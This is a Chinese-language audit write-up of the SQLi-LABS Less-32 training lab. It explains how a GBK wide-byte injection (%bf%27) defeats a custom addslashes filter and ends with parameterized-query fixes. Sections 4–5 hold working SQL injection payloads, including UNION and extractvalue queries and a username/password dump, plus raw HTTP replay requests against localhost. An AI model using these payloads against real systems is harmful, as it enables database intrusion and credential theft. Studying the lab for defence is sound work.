Less-32 审计报告:宽字节注入绕过自定义 addslashes(GBK)

1. 关卡概述

2. 漏洞代码定位

文件: Less-32/index.php

// 第 17~25 行:自定义"防注入"函数
function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);   // 转义反斜杠
    $string = preg_replace('/\'/i', '\\\'', $string);                        // 转义单引号
    $string = preg_replace('/\"/', "\\\"", $string);                         // 转义双引号
    return $string;
}

// 第 30 行:输入经过上述过滤
$id=check_addslashes($_GET['id']);

// 第 40 行:关键 —— 连接字符集设为 GBK
mysql_query("SET NAMES gbk");

// 第 41 行:单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

// 第 56 行:报错回显
print_r(mysql_error());

3. 漏洞分析

• 防御设计:check_addslashes() 把 ' 转成 \'(反斜杠+引号),看起来能阻止闭合单引号。
• 宽字节原理(核心):
  • 第 40 行 SET NAMES gbk 让 MySQL 以 GBK 多字节编码解析 SQL;
  • GBK 中前导字节范围为 0x81~0xFE,0x5C(反斜杠)落在尾字节范围;
  • 当输入 %bf%27(字节 0xBF 0x27)时,check_addslashes 只给 '(0x27)加反斜杠 → 变成 0xBF 0x5C 0x27;
  • MySQL 按 GBK 解析 0xBF 0x5C 为一个合法汉字,后面的 0x27 成为真正独立的单引号 → 成功闭合字符串。
• 利用前提:连接字符集必须为 GBK(SET NAMES gbk),且转义发生在字符集设置之前/未同步客户端字符集。
• 可被绕过的本质:转义是"字节级"的,而 MySQL 按"字符级"解析多字节编码,两者不一致。

4. 利用方式

步骤一:确认宽字节注入

• ?id=1%bf%27 → 报错 You have an error in your SQL syntax...,说明 %bf 已"吃掉"转义反斜杠,单引号成功闭合。

步骤二:联合注入(核心 payload)

-1%bf%27 union select 1,2,database()-- -

实际发送的字节与拼接后的 SQL:

SELECT * FROM users WHERE id='-1<犘>' union select 1,2,database()-- -' LIMIT 0,1

• %bf%27 经转义后成为 GBK字符(0xBF5C) + ',闭合字符串;union select 1,2,database() 取库名;-- - 注释尾部。
• 结果显示 Your Login name:2、Your Password:security。

步骤三:报错注入

-1%bf%27 and extractvalue(1,concat(0x7e,database()))-- -

回显 XPATH syntax error: '~security'。

步骤四:提取其它数据

-1%bf%27 union select 1,2,group_concat(username,0x3a,password) from users-- -

5. Yakit 重放数据包

GET /sqli-labs/Less-32/?id=-1%bf%27%20union%20select%201,2,database()--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

报错注入报文:

GET /sqli-labs/Less-32/?id=-1%bf%27%20and%20extractvalue(1,concat(0x7e,database()))--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

%bf%27 必须保持 URL 编码发送;若工具/中间件改变了原始字节,宽字节利用将失败。

6. 修复建议

修复一:统一字符集 + 参数化(PDO)

<?php
// 1) 用 mysql_set_charset 同步客户端与服务器字符集(避免 SET NAMES 与转义脱节)
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=gbk', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
// 2) 参数化,彻底消除拼接
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();

修复二:mysqli 预处理

<?php
mysqli_set_charset($mysqli, 'gbk');   // 注意:使用 mysqli_set_charset 而非仅 SET NAMES
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();

修复三:加固要点

• 不要用 SET NAMES 而是用 mysql_set_charset/mysqli_set_charset 保持转义与解析一致;
• 直接使用 UTF-8(utf8mb4)字符集,从根源消除宽字节问题;
• id 参数 ctype_digit()/is_numeric() 强校验;
• 关闭 mysql_error() 回显;数据库最小权限;升级 PHP 7+ / 8+。

附:验证与复现说明

• 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
• 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysql 扩展、MySQL 使用 GBK。